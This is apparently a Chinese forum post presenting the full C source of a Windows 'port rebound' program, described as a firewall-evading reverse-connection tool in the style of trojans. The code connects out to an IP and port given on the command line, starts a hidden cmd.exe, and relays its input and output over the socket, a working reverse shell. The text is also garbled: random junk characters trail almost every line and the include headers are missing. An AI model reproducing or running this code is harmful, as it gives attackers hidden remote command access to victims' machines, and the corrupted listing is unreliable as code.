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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V7b;qC'  
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/* ============================== %afN&T  
Rebound port in Windows NT hkb&]XWi[  
By wind,2006/7 9tX+n{i  
===============================*/ Zg$S% 1(Q  
#include i;rcg d  
#include H;R~d%!b  
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#pragma comment(lib,"wsock32.lib") #f [}a  
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void OutputShell(); 4O{G^;  
SOCKET sClient; !&xci})7a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  qJ sH  
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void main(int argc,char **argv) l A%FS]vh  
{ | C^.[)  
WSADATA stWsaData; k#bG&BF  
int nRet; FDFwx|  
SOCKADDR_IN stSaiClient,stSaiServer; <UF0Xc&X'  
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if(argc != 3) |Fz ^(US  
{ [^Bjmw[7  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?&'Kw>s@  
return; O\CnKNk,  
} Y[l<fbh(}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); lb$_$+@Vr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pd B\D  
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stSaiClient.sin_family = AF_INET; U shIQh  
stSaiClient.sin_port = htons(0); s7afj t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RC}m]!Uz  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CuD}Uo+u  
{ O wuc9  
printf("Bind Socket Failed!\n"); &r.M~k >  
return; ; PncJe5x  
} :hT.L3n,  
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stSaiServer.sin_family = AF_INET; %ufh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "={*0P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F^$;hMh%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fgi`g{N  
{ }K8e(i6z  
printf("Connect Error!"); LPBa!fq  
return; Ui!l3_O  
} d)S`.Q  
OutputShell(); RyP MzxV  
} I?S t}Tl  
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void OutputShell() j g//I<D  
{ e pp04~  
char szBuff[1024]; 7*j!ZUzp  
SECURITY_ATTRIBUTES stSecurityAttributes; F)KR8 (  
OSVERSIONINFO stOsversionInfo; I 1n,c d[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >s 6ye  
STARTUPINFO stStartupInfo; ^D5Jqh)  
char *szShell; pmUf*u-  
PROCESS_INFORMATION stProcessInformation; YGC%j  
unsigned long lBytesRead; =Q{?!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xu_,0 ZT]{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3:MJKS02OD  
stSecurityAttributes.lpSecurityDescriptor = 0; 3rB0H   
stSecurityAttributes.bInheritHandle = TRUE; Pw| h`[h  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yhYF "~CM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,[IDC3.4^R  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Gc"hU:m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E(j# R"  
stStartupInfo.wShowWindow = SW_HIDE; P woiX#vz  
stStartupInfo.hStdInput = hReadPipe; nX 9]dz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (5 @H  
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GetVersionEx(&stOsversionInfo); xI1{Wo*2C}  
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switch(stOsversionInfo.dwPlatformId) (T0MWp0  
{ PBnH#zm  
case 1: /ZD6pF  
szShell = "command.com"; =$Mf:F@  
break; uf9 0  
default: GkX Se)#p  
szShell = "cmd.exe"; ('SId@  
break; Qw:!Rw,x  
} GE(~d '  
3PGAUQR#"q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _<LL@IX  
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send(sClient,szMsg,77,0); A $gn{ c  
while(1) 8'zZVX D<  
{ y7M{L8{0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z,4mg6gt  
if(lBytesRead) ' {UKO7   
{ ] re=8s6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~<f[7dBv  
send(sClient,szBuff,lBytesRead,0); _0v+'&bz  
} UPU$SZAIx  
else VJqk0w+  
{ ]vlBYAW'  
lBytesRead=recv(sClient,szBuff,1024,0); R`cP%7K  
if(lBytesRead<=0) break; o(oOB  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a3<:F2=~\  
} @2/|rq  
} OIL8'xY.w  
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return; [p9v#\G; [  
}
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